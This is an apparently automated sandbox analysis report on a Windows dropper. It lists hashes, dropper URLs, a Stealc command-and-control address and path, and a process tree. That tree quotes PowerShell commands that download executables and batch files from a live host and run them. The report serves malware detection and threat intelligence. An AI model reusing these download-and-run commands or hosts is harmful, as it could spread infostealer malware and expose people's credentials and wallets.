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Analysis

  • max time kernel
    291s
  • max time network
    297s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    05/05/2024, 22:41

General

  • Target

    7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe

  • Size

    49KB

  • MD5

    705685a8deace858e7fc849471c045f3

  • SHA1

    10132365b465a6f231c8e292f462c2d005b4f9b0

  • SHA256

    7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9

  • SHA512

    b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
    "C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2892
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsi1D9F.tmp\lood.bat"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2216
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:688
        • C:\Users\Admin\AppData\Local\Temp\uj4.0.exe
          "C:\Users\Admin\AppData\Local\Temp\uj4.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1108
        • C:\Users\Admin\AppData\Local\Temp\uj4.1.exe
          "C:\Users\Admin\AppData\Local\Temp\uj4.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:612
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2188
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:988
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:2340

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      6248d770a7d5afefa2c14495baed1954

      SHA1

      d65dfccd38b18780d284007c531bc232b793cd37

      SHA256

      5bd9724b7e5e573b42732c5ea5f655c326ebea9215ffeda4177c386d904526ec

      SHA512

      bffe7911158f56551e23069b55ac7d08168314c3885247eb744a4a3665ad8e9bacfc23bd5e85da78d6577c38e29444b883d6b0eb6f1a06d86de2322f40badbe6

    • C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\252e99e709753c2ab04b66e213ab7d72cfdb494a7016e07d23bc17fe7cebab94\2bf3a75316044436b1cbb75e31b8fb41.tmp

      Filesize

      1KB

      MD5

      c0da2fc5cc7a9a04987fffe86e3b12e8

      SHA1

      e77f1c3616ce891d26ec8604aab505b9ba452dd5

      SHA256

      0c05d827fd844e5e5245c2832fc74c3f70caac0f88ff21cbb2fb490edaba5981

      SHA512

      1f985d7de47539e0b55b1acbafb585d927b60a5ccf54bad91b97ed465ae1cdb9adff93d94c2b4409c2b2b3b548025871981d3ed104b11b312e480a812c3e888b

    • C:\Users\Admin\AppData\Local\Temp\Tar2046.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Local\Temp\i1.exe

      Filesize

      416KB

      MD5

      5a304097bbad807ab8c6e530ecccd1e7

      SHA1

      06f7500dc67eca8fb5d71e3cccfe2a7fc690e60a

      SHA256

      61f5cf9b9425fe31152a53c8e1f850c575b9332da40c1491e374f06fc44dadaa

      SHA512

      019bf1d3a4f9925138c5f33bccba773ded34975adc7d973ac081128511a8ccce8d478389a9ef7908b2eac8caecbf0dc8f1f1560d4ec295f696bcaae14bb53bcd

    • C:\Users\Admin\AppData\Local\Temp\nsi1D9F.tmp\lood.bat

      Filesize

      556B

      MD5

      1d5830e49fb8ad21e3c1e3333b819e7f

      SHA1

      ee70e4b9c36d0bbcefce139bac51abadbd985197

      SHA256

      8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

      SHA512

      1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

    • C:\Users\Admin\AppData\Local\Temp\uj4.1.exe

      Filesize

      4.6MB

      MD5

      397926927bca55be4a77839b1c44de6e

      SHA1

      e10f3434ef3021c399dbba047832f02b3c898dbd

      SHA256

      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

      SHA512

      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A3EPA5BKI88Q9LCLNVRB.temp

      Filesize

      7KB

      MD5

      3d8f6645378611d2bbbd14d1d44f165b

      SHA1

      537902c4a9b6a3a19ac8d3e1eff18baba0913356

      SHA256

      5aa7fbd0dcb200ccf1012623031a04e6281a0b5e8e525dc79c61dce1e77876eb

      SHA512

      7a24a4456ebf06df74432573180603c891256b600f1c25d02fd800db083a1a0dc1df240f14ad8f8638abe62d8b92f379e500fa910f347345a6f7c7466aad945a

    • \ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • \ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • \Users\Admin\AppData\Local\Temp\nsi1D9F.tmp\INetC.dll

      Filesize

      25KB

      MD5

      40d7eca32b2f4d29db98715dd45bfac5

      SHA1

      124df3f617f562e46095776454e1c0c7bb791cc7

      SHA256

      85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

      SHA512

      5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

    • \Users\Admin\AppData\Local\Temp\uj4.0.exe

      Filesize

      274KB

      MD5

      fae96a12ae35c2243801206ca089798d

      SHA1

      52b8769b202701900f03c386623232ee23fb90d3

      SHA256

      1b32e30cfeea17e7f29f8c907c42cafc3a18da4306007b5c5bc38cb6bb4f1750

      SHA512

      7a3d2284145b98b8db779e1a941f48125fd3fee00dc147fb6a2c0ecf0840b9c52973930871182e402726878de2bfb0dd7e4d64396e4280700511e2ac81aa7abe

    • memory/612-289-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/688-222-0x0000000000400000-0x0000000002B25000-memory.dmp

      Filesize

      39.1MB

    • memory/1108-185-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

    • memory/1108-277-0x0000000000400000-0x0000000002B02000-memory.dmp

      Filesize

      39.0MB

    • memory/1192-151-0x0000000002A10000-0x0000000002A50000-memory.dmp

      Filesize

      256KB

    • memory/2188-293-0x0000000000BB0000-0x0000000000BBC000-memory.dmp

      Filesize

      48KB

    • memory/2188-298-0x000000001F9A0000-0x000000001FA52000-memory.dmp

      Filesize

      712KB

    • memory/2188-294-0x0000000000740000-0x0000000000754000-memory.dmp

      Filesize

      80KB

    • memory/2188-295-0x0000000000E10000-0x0000000000E34000-memory.dmp

      Filesize

      144KB

    • memory/2188-297-0x0000000005C80000-0x0000000005CAA000-memory.dmp

      Filesize

      168KB

    • memory/2188-300-0x0000000000410000-0x0000000000472000-memory.dmp

      Filesize

      392KB

    • memory/2188-299-0x000000001E380000-0x000000001E3FA000-memory.dmp

      Filesize

      488KB

    • memory/2188-301-0x0000000000170000-0x000000000017A000-memory.dmp

      Filesize

      40KB

    • memory/2188-305-0x0000000020200000-0x0000000020500000-memory.dmp

      Filesize

      3.0MB

    • memory/2188-291-0x000000001F170000-0x000000001F280000-memory.dmp

      Filesize

      1.1MB

    • memory/2188-308-0x00000000004F0000-0x00000000004FA000-memory.dmp

      Filesize

      40KB

    • memory/2188-307-0x00000000004F0000-0x00000000004FA000-memory.dmp

      Filesize

      40KB

    • memory/2188-296-0x0000000000F20000-0x0000000000F2A000-memory.dmp

      Filesize

      40KB

    • memory/2188-292-0x0000000000550000-0x0000000000560000-memory.dmp

      Filesize

      64KB

    • memory/2188-310-0x0000000000720000-0x0000000000742000-memory.dmp

      Filesize

      136KB

    • memory/2188-309-0x0000000000710000-0x000000000071A000-memory.dmp

      Filesize

      40KB

    • memory/2188-313-0x0000000000B80000-0x0000000000B8C000-memory.dmp

      Filesize

      48KB

    • memory/2188-318-0x00000000004F0000-0x00000000004FA000-memory.dmp

      Filesize

      40KB

    • memory/2188-317-0x00000000004F0000-0x00000000004FA000-memory.dmp

      Filesize

      40KB

    • memory/2188-290-0x0000000000F30000-0x0000000004828000-memory.dmp

      Filesize

      57.0MB